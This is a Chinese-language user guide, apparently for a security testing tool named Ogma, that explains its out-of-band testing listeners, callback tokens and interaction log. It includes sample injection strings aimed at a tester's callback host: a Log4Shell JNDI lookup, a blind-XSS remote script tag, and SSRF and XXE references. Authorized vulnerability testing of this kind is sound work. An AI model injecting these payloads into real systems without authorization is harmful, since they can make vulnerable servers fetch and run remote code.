OAST
OAST(带外应用安全测试)用于检测不会产生可见响应的漏洞。目标转而向你控制的监听器发起出站连接,从而确认问题。
工作原理
Ogma 运行多个协议的本地监听器。目标应用联系其中一个监听器时,会记录交互的来源 IP、时间戳、接收的数据以及注入的令牌。
监听器协议
| 协议 | 默认端口 | 用途 |
|---|---|---|
| HTTP | 可配置 | SSRF、盲 XSS、webhook |
| HTTPS | 可配置 | 通过 TLS 的 SSRF |
| DNS | 可配置 | 盲注入、XXE、log4shell |
| SMTP | 可配置 | 邮件标头注入、针对邮件服务的 SSRF |
在 OAST 设置面板中配置监听端口及生成令牌所用的域名。
生成回调令牌
- 打开实用工具 > OAST。
- 点击+ 新建,再点击创建。每次测试的令牌都是唯一的。
- 复制令牌。它包含监听器域名和唯一标识符,以便将交互对应到具体测试。
令牌格式示例:[unique-id].[your-oast-domain]
在载荷中使用令牌
将回调令牌注入应用可能发起出站连接的任何字段:
- SSRF:使用 HTTP/HTTPS 令牌作为目标 URL:
https://[token]/ - XXE:在 DOCTYPE 或外部实体 URL 中引用令牌。
- Log4Shell:嵌入标头:
${jndi:ldap://[token]/a} - 盲 XSS:作为脚本 src 注入:
<script src="https://[token]/x.js"></script> - SMTP 注入:用作邮件标头中的目标地址或 URL。
交互日志
交互面板显示收到的每个回调:
| 列 | 说明 |
|---|---|
| 时间 | 收到交互的时间 |
| 协议 | HTTP、HTTPS、DNS 或 SMTP |
| 来源 IP | 发起连接的 IP 地址 |
| 令牌 | 被联系的令牌 |
| 数据 | 请求路径、DNS 查询名称或 SMTP 数据 |
点击任意行查看完整交互详情,包括适用时的请求标头和正文。
将交互对应到测试
由于每个令牌都是唯一的,你可以在不同参数或请求中注入不同令牌,精确确定哪个注入点触发了回调。